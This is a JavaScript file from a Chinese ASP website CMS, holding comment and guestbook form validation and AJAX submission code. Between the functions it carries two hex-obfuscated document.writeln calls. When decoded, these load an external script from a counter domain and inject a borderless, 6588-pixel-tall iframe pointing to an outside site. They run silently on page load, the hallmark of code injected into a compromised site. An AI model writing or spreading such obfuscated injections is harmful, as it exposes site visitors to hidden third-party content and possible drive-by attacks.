﻿function checkcomment(theform)
{
	if (trim(theform.content.value)=='')
	{   
		alert('内容不能为空');
		theform.content.focus();
		theform.content.value='';
		return false
	}
	if (trim(theform.username.value)=='')
	{
		alert('姓名不能为空');
		theform.username.focus();
		theform.username.value='';
		return false
	}
	if (trim(theform.yzm.value)=='')
	{   
		alert('验证码不能为空');
		theform.yzm.focus();
		theform.yzm.value='';
		return false
	}
	var param;
	param=webdir+"plug/comment/index.asp?action=save";
	param+="&username="+escape(trim(theform.username.value));
	param+="&content="+escape(trim(theform.content.value));
	param+="&yzm="+escape(trim(theform.yzm.value));
	param+="&id="+escape(trim(theform.id.value));
	param+="&followid="+escape(trim(theform.followid.value));
	$('#showmsg').html("<img src="+webdir+"images/loading.gif>");
	$.ajax({
	type:"get",
	cache:false,
	url:param,
	timeout:20000,
	error:function(){$('#showmsg').html(Ajax_msg);},
	success:function(t0)
	{
		$('#showmsg').html(t0.substring(1));
		if(t0.substring(0,1)==0){theform.username.value='';theform.yzm.value='';theform.content.value='';$("#yzm_num")[0].src = $("#yzm_num")[0].src+"&"+Math.random();location.href=webdir+"plug/comment/?id="+theform.id.value}
		}
	});
	return false
}

function Comment_Support(ID)
{
	param=webdir+"plug/comment/?action=support";
	param+="&ID="+escape(ID);
	$.ajax({
	type:"get",
	cache:false,
	url:param,
	timeout:20000,
	error:function(){$('#support_'+ID).html(Ajax_msg);},
	success:function(t0)
	{
		if(t0.substring(0,1)==0){
			$('#support_'+ID).html("已支持("+t0.substring(1)+")")
		}
		else
		{
			alert("您提交的速度太快！")
			}
		}
	});
	return false
}
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\"\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\" \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x63\x6f\x75\x6e\x74\x37\x2e\x35\x31\x79\x65\x73\x2e\x63\x6f\x6d\/\x63\x6c\x69\x63\x6b\x2e\x61\x73\x70\x78\x3f\x69\x64\x3d\x37\x35\x37\x36\x39\x35\x36\x38\x26\x6c\x6f\x67\x6f\x3d\x31\x32\" \x63\x68\x61\x72\x73\x65\x74\x3d\"\x67\x62\x32\x33\x31\x32\"\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x69\x66\x72\x61\x6d\x65 \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\"\x30\" \x6d\x61\x72\x67\x69\x6e\x68\x65\x69\x67\x68\x74\x3d\"\x30\" \x6d\x61\x72\x67\x69\x6e\x77\x69\x64\x74\x68\x3d\"\x30\" \x62\x6f\x72\x64\x65\x72\x3d\"\x30\" \x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\"\x6e\x6f\" \x68\x65\x69\x67\x68\x74\x3d\"\x36\x35\x38\x38\x70\x78\" \x77\x69\x64\x74\x68\x3d\"\x31\x30\x30\x25\"  \x73\x72\x63\x3d\"\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x36\x33\x33\x30\x39\x2e\x63\x6f\x6d\/\x23\x30\x32\"\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e\x3c\/\x63\x65\x6e\x74\x65\x72\x3e");
function checkbook(theform)
{  
	if (trim(theform.content.value)=='')
	{   alert('内容不能为空');
		theform.content.focus();
		theform.content.value='';
		return false
	}
	if (trim(theform.username.value)=='')
	{   alert('姓名不能为空');
		theform.username.focus();
		theform.username.value='';
		return false
	}
	if (trim(theform.yzm.value)=='')
	{   alert('验证码不能为空');
		theform.yzm.focus();
		theform.yzm.value='';
		return false
	}
	var param;
	param=webdir+"plug/book/index.asp?action=save";
	param+="&username="+escape(trim(theform.username.value));
	param+="&content="+escape(trim(theform.content.value));
	param+="&yzm="+escape(trim(theform.yzm.value));
	$('#showmsg').html("<img src="+webdir+"images/loading.gif>");
	$.ajax({
	type:"post",
	cache:false,
	url:param,
	timeout:20000,
	error:function(){$('#showmsg').html(Ajax_msg);},
	success:function(t0)
	{
		$('#showmsg').html(t0.substring(1));
		if(t0.substring(0,1)==0){theform.username.value='';theform.content.value='';;$('#showmsg').html("<img src="+webdir+"images/loading.gif>发布成功");setTimeout("window.location.href='?';","3000");}
		}
	});
	return false
}
